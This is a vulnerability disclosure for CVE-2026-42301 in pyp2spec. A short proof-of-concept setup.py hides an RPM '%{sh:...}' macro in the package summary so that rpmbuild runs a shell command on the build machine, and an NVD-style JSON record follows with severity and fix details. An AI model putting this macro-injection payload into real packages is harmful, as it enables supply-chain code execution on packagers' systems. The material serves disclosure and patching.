CVE-2026-42301

# Proof of Concept - Malicious setup.py # Attacker creates a Python package with the following setup.py from setuptools import setup setup( name="evil_package", version="1.0.0", # Injecting RPM macro payload into the summary field # This macro executes a shell command when rpmbuild processes the spec summary="Useful library %{sh:touch /tmp/pwned_by_cve}", description="This package looks normal but contains a payload.", author="Attacker", ) # Steps to reproduce: # 1. Attacker uploads this package to PyPI. # 2. Victim runs: pyp2spec evil_package # 3. Victim runs: rpmbuild -bb evil_package.spec # 4. Command 'touch /tmp/pwned_by_cve' is executed on the build machine.

{"cve": {"id": "CVE-2026-42301", "sourceIdentifier": "[email protected]", "published": "2026-05-09T04:16:25.923", "lastModified": "2026-05-09T04:16:25.923", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "pyp2spec generates working Fedora RPM spec file for Python projects. Prior to version 0.14.1, pyp2spec was writing PyPI package metadata (e.g. the summary field) into the generated spec file without escaping RPM macro directives. When a packager then runs rpmbuild, those directives get evaluated, so a malicious package can execute arbitrary commands on the build machine. This issue has been patched in version 0.14.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/befeleme/pyp2spec/releases/tag/v0.14.1", "source": "[email protected]"}, {"url": "https://github.com/befeleme/pyp2spec/security/advisories/GHSA-r35x-v8p8-xvhw", "source": "[email protected]"}]}}